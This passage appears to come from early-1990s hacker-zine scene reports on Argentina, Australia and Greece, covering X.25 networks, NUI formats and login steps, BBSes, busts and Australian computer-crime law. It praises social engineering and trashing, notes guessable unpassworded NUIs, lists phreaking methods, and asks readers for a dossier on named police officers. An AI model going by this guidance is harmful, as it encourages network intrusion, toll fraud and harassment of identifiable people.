‑ Non‑standard window sizes.

‑ Reverse charge request and acceptance.

‑ Multipoint access

‑ Incoming/outgoing call blocking.

‑ Incoming/outgoing call blocking to and from CUGs.

Obviously these features, should you accept them, imply a little extra bucks in your Arpac bill (which will self‑destroy your wallet in five secs.).

Startel, the company that runs ARPAC, uses a unit called PTD (it stands for Data Transmission Packet in Spanish) for billing purposes. Packets are 128 bytes and conform a PTD, transmission of 64 bytes or less are considered as 1/2 PTD.

Startel vacuum cleans it's customers bank accounts this way: 1) A one time payment for the installation of the X.25 equipment. 2) A "basic monthly payment" that does not include data traffic. 3) A "variable monthly payment" that depends on the number of PTDs handled by Arpac.

As for December 1993 this was calculated considering a fee of $0.007595/PTD and 1 PTD/min for leased lines + 4 PTD/min for dialup access. Also remember that those dialing from the PSTN are paying the local call too.

There are discounts based on the day of week and hour of the connection:

‑ Type "A" fee (normal fee) Mon‑Fri 06:00‑20:00 ‑ Type "B" fee (40% discount) Mon‑Fri 20:00‑24:00 ‑ Type "C" fee (60% discount) Mon‑Fri 24:00‑06:00

Sat. 20:00‑06:00

Sun. and

Holidays 00:00‑24:00

International connections are not considered in this figure and are billed according to Telintar (LD carrier) fees.

A 8% or 18% tax is applicable to all payments. Customers can also choose a fixed monthly payment instead of basic+traffic payments.

The software used is that of ITAPAC (DNIC 2222) and as far as i know theres no support to mnemonics instead of the plain X.121 addressing. Nuas are DNIC+10 digit composed this way:

[07222]XXXX YYYYY PP

^^^^\^^^^^\^^\__ port/subaddress

\ \

\ \_ host

\

\ __ corresponds to a "nodal area" in Startel's

jargon,usually associated with geographic

location.

Some valid entries here are:

2111,2141,2171,2511,2211,2911,2172,2912...

NUIs, IURs in Startel's babbling, are formed like this:

9XXXXXXXX/YYYYYY

^^^^^^^^\^^^^^^\_ this is the password, normally 5/6 alphanumerics, \ all uppercase.

\

\__ da nui! X is in the [0‑9] range and generally the whole 8 digits correspond to one of the subscriber's DNs.

So if you were to use ARPAC you'd make a call by typing

.. <enter> upon connection (7E1, <= 2.4kbds)

then

N9<XXXXXXXX>/<YYYYYY>‑<nua> ; when using a NUI. or

<nua> ; w/o NUI needs Reverse Charge

; Acceptance of course.

You don't wanna call them NUIs when talking to Startel personnel (i.e. social engineering) unless you want to become instantly suspected to be an evil phraudster (aka haq3R).

"CIBA", The Infamous, or BT Tymnet's retarded child (DNIC==7220)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

If you cared enough to read the BT Tymnet's worldwide dialups listing you probably noticed a few entries for Argentina. These were regularly used by "net explorers" in the mid 80's and were known as "CIBA" among them. CIBA dialups are 300bds (wow!) and use CCITT v.21 protocol (ATB0 for your modem). At that time the fastest ARPAC dialup was 1200bds. All in all CIBA is nothing more than the door to BT Tymnet in Argentina (node 7407, host 1212). There's no direct access to interesting utilities such as "xray" and the likes.

NUIs here were stupidly choosen and easily scanned since they followed two known patterns:

naargXXXXna , and

enargXXXnet X being in the [0‑9] range.

Many of these were not passworded. Of course no one would even think to scan NUIs at 300bds nowadays...

Internet

~~~~~~~~

The Internet is rarely know and even less used in the student, professor, computer and communications professionals circles. It's a depressive experience to explain the workings of "telnet","rlogin","ftp" and such "eccentricities" to people who were supposed to know about them from their TCP/IP books, courses and lectures. You, reader, could allege that a networked unix system is enough to explain this, but despite the technical explanations, the political, economic and social implications of the Internet will remain unknown until a vast amount of persons actually USE and EXPERIENCE it. And I'm not talking about "Joe citizen" here, I'm talking about people that would actually NEED the net if they were to improve their work.

It's like describing the taste of an apple to someone, he'll surely understand what you say but don't expect him to understand what it tastes like until he actually bites it.

The Internet top level authority in Argentina is the Foreign Relations Ministry and its link to the rest of the world is sponsored by the 'United Nations Development Programme'. 'whois' output follows:

United Nations Development Programme (NET‑ARNET) Ministerio de Relaciones Exteriores y Culto Reconquista 1088 ler. Piso ‑ Informatica

Buenos Aires

ARGENTINA

Netname: ARNET‑NET

Netnumber: 140.191.0.0

Coordinator:

Amodio, Jorge Marcelo (JMA49) PETE@ATINA.AR +54 1313 8082

Domain System inverse mapping provided by:

ATINA.AR 140.191.2.2

ATHEA.AR 140.191.4.10

Record last updated on 06‑May‑91.

Argentina has only an UUCP link (well, once again this is just the publicly known info...) to the Internet through UUNET, connecting several uucp linked networks to it (RAN,RECYT,etc). Atina.ar is the most important host in this scheme, seconded by the Science and Technology Secretary's host (SECYT) and the University of Buenos Aires (UBA) host located at the Exact and Natural Sciencies Faculty in a dependency known as the "CCC".

There's also a company the offers Internet connectivity bypassing atina and uunet. 'whois' output:

SatLink Uucp/Internet (SATLINK‑DOM)

Casilla de Correo 3618

(1000) Correo Central

Buenos Aires

ARGENTINA

Domain Name: SATLINK.NET

Administrative Contact, Technical Contact, Zone Contact: Stolovitzky, Horacio (HS3) postmaster@SATLINK.NET +54‑1‑983‑6740

Domain servers in listed order:

NKOSI.WELL.SF.CA.US 192.132.30.4 WELL.SF.CA.US 192.132.30.2

Record last updated on 24‑Mar‑93.

There are other links that bypass atina and uunet, all of them part of corporate networks. (i.e. IBM's VNET, etc)

Although everyone says theres only a UUCP link to the Internet, word is that there are a few hidden 9600bds leased lines shared among many hosts at some sites, at any rate this is completely insufficient for servicing researchers, students and other interested parties, thus the existence of these links is kept as a sort of secret.

64kbds links are supposed to be installed for interactive sessions this year at certain sites.

Other networks

~~~~~~~~~~~~~~

Many companies form their corporate networks as CUGs on Arpac, have their own network, or both. Telcos, consulting firms, banks and insurance companies fall in these categories and are quite interesting research projects for the inquisitive hacker.

The "Scene"

~~~~~~~~~~~

There's not much to say about the Argentinian scene. Given the cost and the time you have to wait to get a phone line installed there aren't many BBSes up 24hrs. Most of them are up during nighttime, from 10:00/11:00 pm to 6:00/7:00am, of these, very, very few are dedicated to hack/phreak topics.

Also, considering that theres no decent internet access at your local university you would be forced to explore X.25 networks in order to fulfill your natural interest and seek of knowledge.

But there aren't many hackers either. Most Argentinians you'll find on the nets are mere abusers with one final goal: to get to QSD or the likes. While this sounds rather amusing (eh) there's an explanation to it.

In the mid 80's a few Argentinians used to exploit CIBA's clueless procedures for choosing NUIs. At that time the fastest ARPAC dialup was 1200bds so 300bds was not that bad after all, and not bad at all as you were sure you could find a new NUI in a matter of hours. Yes, many people wasted their diminishing lifes in QSD, but for some this new x.25 thingie was more than a mean for meeting friends over the net and having endless chats with them, some needed to learn and understand the workings of the nets and the many different systems hooked to it. For those the place was Altos, and AMP (although you couldn't connect to PSS directly). And Altos proved to be of great help for Argentinians that got introduced to the hack/phreak world not on a BBS but right on a X.25 network. And so did the sequel of Korn‑chat sites (tchh,lutzifer, italian "artemus") or even Pegasus and LINA sometimes. Around '89 or '90 an Efinet (Efinet == Fidonet wannabe) meeting was held, and during it someone gave out a "strange bunch of numbers in the form of some sort of code or something" (this being an ARPAC NUI followed by QSD's NUA) and the attendees ran home and tested it, just to see them connected to the France chat extrordinaire. Meanwhile, things were getting hot elsewhere in the world, and those once famous X.25 hangouts went virtually dead, so these newcomers wouldn't get in touch with Argentinian hackers (as they wouldn't appear in QSD) or other countries' hackers (as they were having a bad time or retiring or simply leaving X.25 alone). So, even if they wanted to learn, these freshmen, for good or for bad, were on their own and still are...

The vast majority of the argentine society never heard the words "hacker" or "phreaker" or, if they did, they relate it to things happening in other countries, far, far away.

It wasn't until '93, in accordance with the apparently boundless tendency to use the word "cybersomething" when referring to anything remotely related to new technologies, computers, or scifi novels or any other thing that requires publicity, i.e. see cyberIdol's cybershitty cyberCD to understand what I cybermean, uhg excuse me, back to the point...

It wasn't until '92 or '93 that the media discovered this brilliant trend for selling more and more, apparently some genius said: "Hey, what if we sell the future? What if we write about how will life be, how will technology be, how will the planet be, how will your dog be? All this with some vague journalistic odor of course. I bet we will sell more!". So they did, and in this frame the hacker/phreak scene is more like the salt to dress the salad, yet things didn't get to the extreme of sensationalism and hacking is portrayed as an activity bound to some new sort of romanticism, still things are very much confused, putting hackers, phreakers, crackers, pirates, virii authors and mere fraudsters all together in the same bag (yes, but what would you expect anyway?). Even some interviews to an ex‑hacker (who now runs a data security firm), and a self proclaimed "expert" ( more a virus expert, IF anything) have appeared.

On the other side, many "eleet poseurs" have appeared too, but as one could expect, they are nothing more than mere poseurs and certainly not worth more than a phrase here.

Final Words!

~~~~~~~~~~~~

This is the 'scene' AS I SEE IT, i don't consider myself an enlightened entity, thus I acknowledge my description might not be objective nor complete (in fact it might be complete bullshit but, do I care? do YOU care?).

Argentina is a country where lots of things are still there, waiting to be discovered, virgin beaches for you to explore and enjoy. Security is generally lax, and people is generally not security‑aware and even less hacker‑aware, trashing and social engineering are simple things that DO give many benefits.

As far as I know theres no specific law dealing with computer related crimes (whatever that mean...), and as long as you don't get yourself involved in the traditional crime pictures you are pretty much safe. On the other hand, the bad and expensive phone service, the lack of internet connectivity and the limited number of BBSes dedicated to the so called "underground" (yes, I did it, I used the damned word, argh) make things tougher for newcomers.

Perhaps the most interesting thing is that there's not much knowledge of what hacking/phreaking means and this gives us an unique opportunity to avoid misunderstandings and errors that occurred in other countries. Perhaps it is possible to influence people in a positive way, making them think about secrecy, security, privacy and responsibility issues. We are still free of Geraldos, we didn't suffer witch hunts ala Operation Sundevil, the words "hacker" and "phreaker" have not been demonized yet, although the Orwelian‑way is common practice among the telcos, but nobody seem to give a fuck about this, or maybe nobody notice?.

So, this is it, the file has come to an end and I think it's enough for an introduction, I did not cover cellular telephony nor satellite links and companies providing related services, I did not mention many other things but my intention was to write a description of how things are here, not a fucking encyclopedia.

If you think that many topics are deliberately vague and not covered in deep, that some information might be not accurate or if you don't agree with anything I've stated you can contact me at:

HBO +541‑788‑4850 24hrs.

Loser's joint +541‑658‑7983 23:00‑6:00 (GMT ‑3)

Here's my PGP key. DO USE IT OR EXPECT NO REPLIES

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.3a

mQCNAi1EBdUAAAEEAMdEmi+ajN/WIIvN3jjUQk/wb0CLsXe+K49fX8DuUXvUSpdJ UCu8wFH82reJWttj3vaMQ/guKADC/VTIbfsRGWZhbvc+7Mb0W/3LPJSj5zpG9O+M +XF6A7eB6IfncS+p9jU5Tb9lMc/H0BoW4VTpYO/eWK9DJGfAFOA/puxL3X5tAAUR tB1PUGlpIDxvcGlpQGJpYXBiYS51YmEuZWR1LmFyPg==

=rKbG

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The

Australian

Underground

( or The lack thereof! )

by

Data King

ATTITUDE

For several years now the Australian underground scene has turned better yet worse at the same time. The amount of companies and colleges using datacomm has dramatically increased. In my opinion it is still not yet to the stage of America in this respect though.

The number of 'hackers' has increased, but I use the term loosely as I do not consider many of these so called 'hackers' to be hackers. Why do I say this? I say this because most people who hang out in the underground scene in Australia consider hacking to be getting an account at a university off of a friend and then snarfing the password file and running crack over it. They are only interested in things that will give them access to IRC, FTP & Newsgroups. ( No flames please I am talking in general here! )

Many of them have never heard of services like MIDAS, Minerva & AUSTPAC and even if they were given a dialup to one of these services I doubt they would have a clue about how to use it. We have a wealth of services out there just waiting to be tried, but there is almost no one who is interested in doing so, to give you an example. One night I was working away on my box at about 3am and a 'hacker' mate had crashed on the couch. I went to dial into one of the local universities and I misdialed the number. At first I didn't realize that I had dialed the wrong number since I got a carrier. My modem connected and then just sat there instead of the usual annex prompt. I bashed the old enter key a few times and suddenly I was presented with a menu to an accounting system.

'Sheet,' I thought, and screaming to wake my mate up ( at this stage I thought I had connected to the university and it hadn't reset the line after the last user hung up ) I started to explore the system, it soon became evident that it wasn't the university but something entirely different, by this time my 'hacker' mate had woken up. 'Whaaaaaaaaat?' comes the response from the couch, I briefly explained what had transpired and his only response was 'Ughhhhh' as he went back to sleep. Needless to say I spent the next 3 hours playing with the system, and by the time I had finished I could crash the accounting menu and exit to the operating system.

The system turned out to be fairly boring and proved to be of no use to me, BUT I had to assume that before I knew, it could have been something really interesting and to spend time fully exploring it, where as my 'hacker' mate couldn't give a stuff, 'coz it wasn't on internet'.

TECHNIQUES

Australian Hackers no longer seem to be using advanced techniques to penetrate a system, very few would have any idea how to use TCP/IP to gain access to a system. Most satisfy themselves with obtaining an id elsewhere and then snarfing the password file and running crack over it. When it comes to things such as VMS the attitude I usually encounter is "VMS urgh, what bloody good is it!". There are some very good Hackers in Australia but most of them do not hang around in the underground scene, rather they are usually university students who learn how to make the best use of the system. Writing things like ICMP bombs, and Sniffers is usually left to these people, in fact I can not think of any active non university student hacker who lives in Australia and uses these sort of techniques.

CONS

To the best of my knowledge there has only ever been one underground conference in Australia, and that was from memory in 1984, it was called Hackfest and it was nothing compared to HOHOCON or Hacking at the End of the Universe.

At the time we all thought it was great, and I must admit it did boost the sharing and finding of new info for a while.

I, in association with one or two others, have been thinking of arranging another Hackfest to be held in 1994, it will probably be held in Melbourne, Australia. If you live in Australia and would like to attend then mail me and I will keep you informed. ( Det. Sgt. Ken Day: Don't bother trying to spy on Hackfest if it goes ahead, you're more than welcome to attend! )

NETWORKS

In Australia we have several national and international networks, here is a list of some of them:

MIDAS International Packet switching network DNIC = 5053 Minerva Automated Office Network w/ International PSS

AUSTPAC Australian Packet Switching Network DNIC = 5052 SprintNET Need I explain this???

AARNET The Australian Network that covers Internet in Australia TRAN$END Subset of Austpac ( used by Banks for ATM/EFTPOS transmissions ) Compuserve Need I explain this???

Discovery Australian Videotext system ( Not sure if still in Service ) ????? The Australian Military Network ( Don't know its name ) TAXLAN The Australian Tax Office ( IRS ) Network

PHREAKING

For years people in Australia believed that phreaking was only really possible by pitting, this included Telecom Investigations Department, but we know that this is not true. Methods that have been used in Australia include:

Blue Boxing off of an American Operator Line

Pitting ( ie: Linemans handset connected to a telecom junction box ) Clicking ( Electric shock to a public phone )

Boxing off of a disconnected number ( almost impossible now ) Calling Cards ( both American and now Australian Calling Cards ) PBX's ( 0014‑800's and local PBX's )

Mobile Telephones ( ie Cellular Phones and b4 that the old Radio mobiles )

There are probably other methods as well but I am not a phreaker so I am not the best person to comment on this. Boxing in Australia is getting dangerous now as we are getting more and more of the new digital exchanges which make it a lot easier to trace, or at least so I am told.

There were some people in South Australia making/recharging Telephone cards, ( Like a disposable calling card, but you buy them in news agents and they have a dollar value, once used up you throw them away ) but these people were apparently caught and telecom have taken measures to ensure that this is no longer possible.

VMB'S

We have a large range of VMBs in Australia, and with the proliferation of VMBs has come the art of Hacking VMBs, we even have people here in Australia that do virtually nothing else other than play with VMBs. These people tend to go a lot further than just cracking the pin numbers, some of them have learned enough about the signalling systems used by these systems to virtually take control of the system and make it do what they want. Once again this is an area that I do not know a lot about.

We also have a couple of individuals that run something called the Scene Inpho line, Which essentially is a VMB with a long recorded message giving out tips, rumors, and general rubbish. The number to the Scene Inpho Line unfortunately constantly changes as the owners of the VMB notice what's going on and shut that particular box down.

BULLETIN BOARDS

There are not a lot of good underground BBS's in Australia, a couple that I know of that come to mind are Destiny Stone II, Empire of Darkness, & Watchtower. I can not comment on Destiny Stone II as I have never called it. However, when I used to called Empire of Darkness it was so lame it wasn't funny and now he has gone 96+ only I can't call it ( I'm poor and can't afford a new modem ;) ).

Watchtower showed potential but unfortunately the sysop of it is very slack and needs to get off of his butt and do some work on it! The underground boards in Australia tend to reflect the general state of the scene, ie: complete and total apathy!

Most H/P boards in Australia are also warez sites and tend to be pretty lame and insecure because of all the warez puppies on them, I can not think of a really good board in Australia that is still operating.

BUSTS

In the last year the Australian Federal Police, Computer Crimes Unit has been quite busy raiding people. As a result there have been 4 convictions that I know of, and another 2 people waiting for charges to be laid.

The people convicted and there sentences are as follows:

Data King (me) Guilty but no record ( escaped conviction under section 19b of the act ) $300.00 fine and $500 2 year Good Behavior bond. ( Pleaded Guilty to 2 Charges )

Electron 6 Months Jail ( suspended sentence ), $500 6 Month Good Behavior bond, & 300 hours Community Service Work. ( Pleaded Guilty to 14 Charges )

Nom 6 Months Jail ( suspended sentence ), $500 6 Month Good Behavior bond, & 200 hours Community Service Work. ( Pleaded Guilty to 2 Charges )

Phoenix 12 Months Jail ( suspended sentence ), $1000 12 Month Good Behavior bond, & 500 hours Community Service Work. ( Pleaded guilty to 15 Charges )

In the most part people get busted in Australia due to either their stupidity ( Hi Phoenix! ), being lagged in by some low life, or by trusting someone they should not of ( Hi Phoenix! ).

LEGALITIES

Both Hacking and Phreaking have been illegal in Australia for quite a few years I will not go into details here as hopefully there will be an article in this issue of Phrack covering the laws and possible penalties.

Computer Crime in Australia is the responsibility of the Australian Federal Police Computer Crimes Unit. The people known to us in this unit are:

Det. Sgt. Ken Day

Det. Neil Campbell

Det. Steve Visic

( Sorry guys if I spelled your names wrong ‑ NOT! ;) )

If you are able to add any names to the list, please mail them to me and any other info you have on them. That way we can begin to build up a dossier on our enemies!

PUBLIC

There seems to be a growing awareness in the general populace of Australia. There has been quite a bit of media hype on hacking over the last year, and slowly the public seems to be getting a great fear of hackers. To me it seems ridiculous, as the only real hackers that the public should have feared lived in the early 80's. Today's generation of Australian hackers are pretty HOPELESS in my humble opinion. To give an example, when Electron, Nom, & Phoenix's court cases were getting media attention I was sitting in my parent's lounge room one night when the news was covering their sentencing. My father thought that these people were very dangerous and should have gotten a bigger sentence than they did. At this time he did not know about my bust. I have explained it to him now but he still doesn't seem to understand...oh well that life I guess.

CONCLUSION

This is how I see the Australian scene, If you disagree, want to comment, send me info for future articles, get on the hackfest mailing list, or just want to have a chat you can mail me at:

dking@suburbia.apana.org.au

If you require privacy you can send me stuff that is encoded via pgp, my pgp public key is as follows:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: 2.0

mQCNAi0t3M4AAAEEAMPZMexyZ+Nxz8Ry1w9R7pTLFGM7xk0MwJ/izS687UIJLzc5 l38jFM0bEcuSukRrLkBYIDdiAgOdn50cJmKOPyvE4FvR2eh2dbdHyFKzaVWVe5zE HZhNx2o0kb6SRIQHu8Vh/pkl+S29RKzDbIgMLLjOCwN0V1/RUal4ROOqDaCbAAUT tCdEYXRhIEtpbmcgPGRraW5nQHN1YnVyYmlhLmFwYW5hLm9yZy5hdT4=

=ttmq

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

I can also usually be found on IRC a couple of hours a night in these channels under the nick of dking:

#apana #hack #phreak #linux

Thanks for assistance with this file go to:

SPiN‑DoC Olorin

&

Connie Lingus

( Motivational Support ‑ <SMILE> )

Have phun, and remember:

BE CAREFUL OUT THERE!

=======================================

()()()()()()()()()()()()()

()

() "Australian Hacking Laws" ()

()

() 21/01/93 ()

()

() c) Data King ()

()

()()()()()()()()()()()()()

Crimes Act 1914 (Commonwealth)

~~~~~~~~~~~~~~~~~~~

Part VIA ‑ Offences Relating to Computers

Section 19B (1) Order & Recognizance

The Court can discharge you under this section, with a surety and/or recognizance given by you.

If discharged under this section you may be put on a good behavior bond of up to but not exceeding 2 years. Other conditions may be placed on you by the court also, this conditions can be anything that the court considers appropriate.

To have this section come into effect the following must apply:

The Court is satisfied that the charge(s) are proved, but is of the opinion, having regard to:

The Character, Antecedents, Age, Health, & Mental Condition

that it is unexpedient to inflict any punishment or any punishment other than a nominal one on you.

Basically what this means is that you can be found guilty and not have a conviction recorded against your name, but you must realign that the department of public prosecutions may object to this and then you will have to try and convince the Judge to ignore what the DPP says, (not easy).

Also please realign that if you were to receive a section 19B and then were caught doing naughty things again and you are still under your good behavior bond, you will forfeit your bond and have to stand trial again for the original offence(s).

Section 74A ‑ Interpretation

(1) In this part, unless the contrary intention appears:

"carrier" means:

(a) a general carrier within the meaning of the Telecommunications Act 1991; or

(b) a mobile carrier within the meaning of that Act; or

(c) a person who supplies eligible services within the meaning of that Act under a class licence issued under section 209 of that Act;

"Commonwealth" includes a public authority under the Commonwealth;

"Commonwealth computer" means a computer, a computer system or a part of a computer system owned, leased or operated by the Commonwealth;

"Data" includes information, a computer program or part of a computer program.

(2) In this Part;

(a) a reference to data stored in a computer includes a reference to data entered or copied into the computer; and

(b) a reference to data stored on behalf of the Commonwealth in a computer includes a reference to:

(i) data stored in the computer at the direction or request of the Commonwealth; and

(ii) data supplied by the Commonwealth that is stored in the computer under, or in the course of performing, a contract with the Commonwealth.

Section 76B ‑ Unlawful access to data in Commonwealth or other computers

(1) A person who intentionally and without authority obtains access to:

(a) data stored in a Commonwealth computer; or

(b) data stored on behalf of the Commonwealth in a computer that is not a Commonwealth computer;

IS GUILTY OF AN OFFENCE ‑ PENALTY: Imprisonment for 6 months

(2) A person who

(a) with intent to defraud any person and without authority obtains access to data stored in a Commonwealth computer, or to data stored on behalf of the Commonwealth in a computer that is not a Commonwealth computer; or

(b) intentionally and without authority obtains access to data stored in a Commonwealth computer, or to data stored on behalf of the Commonwealth in a computer that is not a Commonwealth computer, being data that the person knows or ought reasonably to know relates to:

(i) the security, defense or international relations of Australia;

(ii) the existence or identity of a confidential source of information relating to the enforcement of a criminal law of the Commonwealth or of a State or Territory;

(iii) the enforcement of a law of the Commonwealth or of a State or Territory;

(iv) the protection of public safety;

(v) the personal affairs of any person;

(vi) trade secrets;

(vii) records of a financial institution; or

(viii) commercial information the disclosure of which could cause advantage or disadvantage to any person;

IS GUILTY OF AN OFFENCE ‑ PENALTY: Imprisonment for 2 Years

(3) A person who:

(a) has intentionally and without authority obtained access to data stored in a Commonwealth computer, or to data stored on behalf of the Commonwealth in a computer that is not a Commonwealth computer;

(b) after examining part of that data, knows or ought reasonably to know that the part of the data which the person examined relates wholly or partly to any of the matters referred to in paragraph (2)(b); and

(c) continues to examine that data;

IS GUILTY OF AN OFFENCE ‑ PENALTY: for contravention of this subsection:

Imprisonment for 2 years

Section 76C ‑ Damaging data in Commonwealth and other computers

A person who intentionally and without authority or lawful excuse:

(a) destroys, erases or alters data stored in, or inserts data into a Commonwealth computer;

(b) interferes with, or interrupts or obstructs the lawful use of a Commonwealth computer;

(c) destroys, erases, alters or adds to data stored on behalf of the Commonwealth in a computer that is not a Commonwealth computer; or

(d) impedes or prevents access to, or impairs the usefulness or effectiveness of, data stored in a Commonwealth computer or data stored on behalf of the Commonwealth in a computer that is not a Commonwealth computer;

IS GUILTY OF AN OFFENCE ‑ PENALTY: Imprisonment for 10 years

Section 76D ‑ Unlawful access to data in Commonwealth and other computers by means of certain facilities.

(1) A person who, by means of a facility operated or provided by the Commonwealth or by a carrier, intentionally and without authority obtains access to data stored in a computer.

IS GUILTY OF AN OFFENCE ‑ PENALTY: Imprisonment for 6 months

(2) A person who:

(a) by means of a facility operated or provided by the Commonwealth or by a carrier, with intent to defraud any person and without authority obtains access to data stored in a computer; or

(b) by means of such a facility, intentionally and without authority obtains access to data stored in a computer, being data that the person knows or ought reasonably to know relates to:

(i) the security, defense, or international relations of Australia

(ii) the existence or identity of a confidential source of information relating to the enforcement of a criminal law of the Commonwealth or of a State or Territory;

(iii) the enforcement of a law of the Commonwealth or of a State or Territory;

(iv) the protection of public safety;

(v) the personal affairs of any person;

(vi) trade secrets;

(vii) records of a financial institution; or

(viii) commercial information the disclosure of which could cause advantage or disadvantage to any person;

IS GUILTY OF AN OFFENCE ‑ PENALTY: Imprisonment for 2 Years

(3) A person who:

(a) by means of a facility operated or provided by the Commonwealth or by a carrier, has intentionally and without authority obtained access to data stored in a computer;

(b) after examining part of that data, knows or ought reasonably to know that the part of the data which the person examined relates wholly or partly to any of the matters referred to in paragraph (2)(b); and

(c) continues to examine that data;

IS GUILTY OF AN OFFENCE ‑ PENALTY: Imprisonment for 2 Years.

Section 76E ‑ Damaging data in Commonwealth and other computers by means of certain facilities

A person who, by means of a facility operated or provided by the Commonwealth, intentionally and without authority or lawful excuse:

(a) destroys, erases or alters data stored in, or inserts data into a computer;

(b) interferes with, or interrupts or obstructs the lawful use of, a computer; or

(c) impedes or prevents access to, or impairs the usefulness or effectiveness of, data stored in a computer;

IS GUILTY OF AN OFFENCE ‑ PENALTY: Imprisonment for 10 Years.

Section 76F ‑ Saving of State and Territory Laws

Sections 76D and 76E are not intended to exclude or limit the concurrent operation of any law of a State or Territory.

Conclusion:

~~~~~~~~

You may have noticed that any hack of a Computer in Australia could result in you staying in a prison for quite a long time, as almost any hack would be and offence under just about all of the subsections listed above, combine this with a consecutive sentence and you *COULD* be in jail for over 25 years.

"Be Careful Out There!!"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑ The HELLenic Digital Subculture Scene ‑‑

by Opticon the Disassembled

‑ "EL33t3 Hackers": "TH3rE R N0 UNKraKKable ZyZTEMZ.EV3ry1 HAS[S] It's H0L3z." ‑ I'm sure every "EL33t3#@$$^!!! HaKKER" has at least one hole by nature.

"The Gods could have chosen any place but they chose Greece"...Yes, they did. By mistake probably.

Agricultural country, light industry, member of the European Community, ten million residents, surrounded by sea (polluted in some areas) and forests (burned in some areas). Four thousand years old culture, beautiful language (due to it's ancientness) [...]

Digital subculture scene? Quite a few articles appear on newspapers and magazines about CyberPunk. Quite a few people claim to be hackers (elite ones), crackers (elite ones), phreakers (elite ones) and coders (elite ones). University students get insane pleasure when talking about their last achievements, how they cracked all the accounts of a shadowed password file, and how they transferred 2000 true color, porno JPEG and phracking files. Public bulletin board systems distribute blue boxing related articles (Hail Mark Tabas!) and pirate boards distribute "oNE DaY WAREZ!@!#".

"Phone freaks, crackers, hackers, virus makers." At the end, an interview with a young software cracker. He listens to TECHNO ("the only real music"), he would like to buy an Apple Powerbook and he needs only five minutes to "crack a disk".

No busts have taken place AS FAR AS I KNOW. Only innocent pirates and couriers were prosecuted years ago, due to distribution of cracked programs for ZX Spectrum, Commodore and Amstrad ("peeks, pokes, hints & tips").

An article about "Legion Of Doom! ‑ ComSec" appeared on November 1991: "X‑Hackers offer their services to companies". Glamorous picture of the group, opinions, history, comments from a phracking illiterate journalist.

An‑archic 'zines (printed format) were publishing digital underground related news, since mid '80s.

A family man in my city has been using a black box for 10 years. He accepts calls from relatives living in Italy.

At the age of seventeen Nikos Nasoyfis wrote a book about 8088/8086 assembly programming and cracking of protection methods. He is considered to be a genius in those areas. Upon the request of a magazine he created "the first Hellenic virus".

No Digital Underground / An‑archy related systems exist, except DiES IRAE. But of course " If [When] you are good, nobody knows that you are there ".

* Packet Switching Data Networks

SERVICE: HELLASPAC

DNIC: 2023

LOG‑IN PROCEDURES

1. Dial access number:

1161 for both 300 and 1200 bps. Additionally, the following access numbers are available within Athens: 8848481, 8849021, and 3477699.

2. Upon connection, the user types three dots and Enter or Return: ... (CR)

3. The network will respond

: HELLASPAC

If no response, repeat step 2.

4. Upon receipt of the network prompt, the user types (in capital letters): NXXXX ‑ 0 WWWW (CR)

where XXXX is the user's NUI and WWWW is the NUA.

5. HELLASPAC will answer

: COM

6. To log off, type

(CTRL)PCLR(CR)

The network will respond

CLR CONF

Until the end of the year a free experimental 2400bps ( 1200 baud + MNP 5 ) dial up public service will be operating at 0961‑11111 (if you call this a 2400 baud NUI, shame on you! You know who you are :‑) ). 0961‑22222 will lead to HellasTel ( Video Text ). Can't tell if foreigners can call these numbers.

SERVICE: ARIADNET

Ariadnet is a Hellenic research/academic network sponsored by the European Community. There are two main hosts: LEON and ISOSUN. The first one serves the public; dial‑ups, low cost (10.000 drg for three months), yet low disk quota (starts from 1 MB) due to "the workstation's incapability to carry a lot of hard disks". The second one serves users who call from other sources (i.e. PSDNs). Thanks to Ariadnet most universities provide free internet access (usually they reach 1 KiloByte per second) in conjunction to restricted HellasPac access (a.k.a. high expenses).

The following captures will talk by themselves.

**

ISOSUN @ ARIADNE hellenic research/academic network

login: help

Last login: Wed Mar 18 19:37:13 from 38212026

SunOS Release 4.0.3_EXPORT (ARIADNE.FEB2) #1: Thu Feb 13 13:04:45 EET 1992

Please, do not leave your mail in mailing queue for a long time. Clean them up often. Otherwise your mail may be lost....

thanks

postmaster

A R I A D N E T ‑ X.121 server

Demokritos

isosun SUN:INTERNET,X400‑R&D‑MHS 10100101, leon 10100102 PRIME 9950 primos: EARN‑BITNET 10100100, gatos 10100104 mVAX DECNET‑CERN (cluster) 10100103, KE‑lab 10100108

EIE mVAx 101002005

EKT Data Bases PERKIN‑ELMER 10100200 Kapodistriako Pan.CYBER‑NOS 10100401, mVAX 10100402 Aristotelion Pan. mVAX 13100104, unix 386 13100108, Metsovion Polytechnion

vms‑mvax 1010030107, sun 1010030106

High Energy Lab 10100351

Gen.Secr. Research UNIX V 1010050008, sequent 1010050007

ITY Pan. Patra, CTI unix server 16100101

ATE Pan. Crete , FORTH 18100100 ASSOE(Athens U. of Economics) VAX/VMS 10100600 NATIONAL OBSERVATORY VAX/VMS 10100700 Rethimno Pan Kritis/Economics‑Philosophy 38312025

Chania Poly. Kritis 38212026

ZENON,INTRAKOM,ATKO, HITEC, PLANET via X25 and TCPIP/X25 ATDP6519905

ATDP6533172 V21/V22 MODEM hayes, no parity, 1 stop bit, 8 data connect to ARIADNET pad service @ Demokritos

HELLASPAC Gateway, IXI Gateway, X400 Gateway, Internet Gateway

INFORMATION: +301 6513392 FAX: 6532175

TEAM: Y.Corovesis,A.Drigas,T.Telonis (+4 students)

ADMINISTRATION: A.Arvilias tel:+301 6515224

NEXT: TEI‑Pirea, EMY, NTUA‑physicslab, Thessaloniki VAX9000

**

* Phone Network

The last four years or so, the old analog switching centers (HDW, Rotary, Crossbar) are being replaced with digital ones (Ericsson‑Intracom AXE‑10 and Siemens EWSD). Theoretically that should be completed by the end of 1994 (according to the Christian way of chronometry).

These provide the following for the masses:

PAGING (was operating anyway)

HOT LINE

"WAKE‑UP" SERVICE

ABBREVIATED DIALLING

THREE PARTY SERVICE

